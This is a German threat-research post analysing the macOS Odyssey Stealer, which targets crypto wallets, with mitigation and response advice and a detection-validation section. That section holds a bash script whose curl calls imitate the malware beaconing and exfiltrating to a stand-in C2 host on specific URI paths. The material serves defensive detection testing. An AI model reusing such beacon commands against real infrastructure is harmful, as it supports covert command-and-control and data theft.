SOC Prime Bias: Mittel

13 Feb 2026 13:13 UTC

Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Odyssey Stealer ist ein macOS-Infostealer, der sich auf Kryptowährungswallets und -erweiterungen konzentriert. Er wird als Malware-as-a-Service-Plattform vermarktet, bei der Partner Zugriff auf einen zentralisierten C2 und ein Admin-Panel mieten. Die Bereitstellung erfolgt typischerweise über verschleiertes AppleScript, das einen persistenten LaunchDaemon installiert, der den C2 nach Befehlen abfragt. Der Betreiber kann auch legitime Ledger- und Trezor-Apps durch trojanisierte Builds ersetzen, um Anmeldedaten und Transaktionsdaten zu erfassen.

Untersuchung

Forscher haben den C2 mit einzigartigen HTML-Meta-Tags, Seitenkörper-Hashes und einem gemeinsamen Favicon-Hash identifiziert. Sie kartierten zehn physische Hosts über mehrere ASN-Cluster hinweg, hauptsächlich in Europa und den Niederlanden. Die Zerlegung der Nutzlast ergab einen mehrstufigen AppleScript-Dropper, LaunchDaemon-Persistenz und eine in Go kompilierte SOCKS5-Proxy-Binärdatei. In den Dropper eingebettete Konfigurationsdaten enthüllten Partnerkennungen und Build-IDs.

Minderung

Achten Sie auf verdächtige osascript-Aktivitäten, insbesondere lange verschleierte Zeichenfolgen, unbekannte LaunchDaemon-Plist-Dateien mit zufälligen Bezeichnungen und ausgehende POST-Anfragen an „/log“-Endpunkte. Alarmieren Sie bei von LaunchDaemon erzeugten Binärdateien und verdächtigen SOCKS5-Aktivitäten. Überprüfen Sie die Code-Signatur für Ledger- und Trezor-Anwendungen und blockieren Sie bekannte C2-Domains und IP-Adressen. Schulen Sie Benutzer darin, unerwartete Passwortabfragen und „Wallet-Updates“ als hohes Risiko zu betrachten.

Reaktion

Bei Erkennung das System isolieren, den bösartigen LaunchDaemon beenden und trojanisierte Wallet-Anwendungen entfernen. Netzwerkverkehr zu den identifizierten C2-Domains und IPs erfassen zur Untersuchung, dann offengelegte Kryptowährungs-Anmeldeinformationen zurücksetzen und macOS-Passwörter wechseln. Eine vollständige forensische Überprüfung durchführen, um zusätzliche Artefakte zu identifizieren.

Angriffsfluss

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Basislinien-Vorabüberprüfung muss bestanden sein.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat den Odyssey Stealer auf einem macOS-Arbeitsplatz eingesetzt. Nachdem der Benutzer kompromittiert wurde, initiiert die Malware ein Signal an ihren C2-Server, um zusätzliche Nutzlasten herunterzuladen und gesammelte Daten zu exfiltrieren. Das Signal verwendet den nativen curl Binary (von Apple signiertes Binary), um HTTP GET-Anfragen an die in der Regel definierten C2-Endpunkte zu stellen. Der Angreifer wählt diese spezifischen URI-Pfade, da sie kurz sind, sich in den normalen Webverkehr einfügen und von allgemeinen URL-Filterlösungen nicht erkannt werden.

    Schritte:

    1. Lösen Sie den C2-Hostnamen auf (simuliert als c2.odyssey.example.com).
    2. Führen Sie eine GET-Anfrage an /d/aff123456 – ahmt den Daten-Exfiltration-Endpunkt mit einem zufälligen Partnercode und numerischem Token nach.
    3. Führen Sie eine GET-Anfrage an /api/v1/bot/ – simuliert Bot-Management-Heartbeat.
    4. Optional können Sie eine Anfrage an /log senden, um den internen Protokollierungsverkehr zu emulieren, den die Malware für Statusmeldungen verwendet.
  • Regressionstest-Skript: Das folgende Bash-Skript reproduziert den genauen Verkehr, der zur Auslösung der Erkennungsregel erforderlich ist.

    #!/usr/bin/env bash
    # Odyssey Stealer C2 Beacon-Simulation für Erkennungsvalidierung
    # Anforderungen: curl, Netzwerk-Proxy wie in den Vorab-Schritten konfiguriert
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"  # Ihrer Squid-Proxy-Adresse anpassen
    
    # Funktion zum Senden einer Anfrage über den Proxy
    send_request() {
        local path=$1
        echo "[*] Anfrage senden an https://${C2_HOST}${path} über Proxy ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Datenexfiltrations-Endpunkt (zufälliger Partner + Ziffern)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. Bot-Management-Heartbeat
    send_request "/api/v1/bot/"
    
    # 3. Optionaler Protokollierungsendpunkt
    send_request "/log"
    
    echo "[+] Simulation abgeschlossen. Überprüfen Sie Alarme im SIEM."

    Speichern Sie das Skript als odyssey_beacon.sh, machen Sie es ausführbar (chmod +x odyssey_beacon.sh), und führen Sie es auf dem macOS-Testhost aus.

  • Bereinigungsbefehle: Entfernen Sie alle temporären Dateien und deaktivieren Sie optional den Proxy für den Testbenutzer.

    # Deaktivieren Sie die Proxy-Einstellungen für die Wi-Fi-Schnittstelle
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Optional) Stoppen Sie Squid, wenn es nur für diesen Test gestartet wurde
    # brew services stop squid
    echo "Proxy-Einstellungen wiederhergestellt und Squid (falls zutreffend) gestoppt."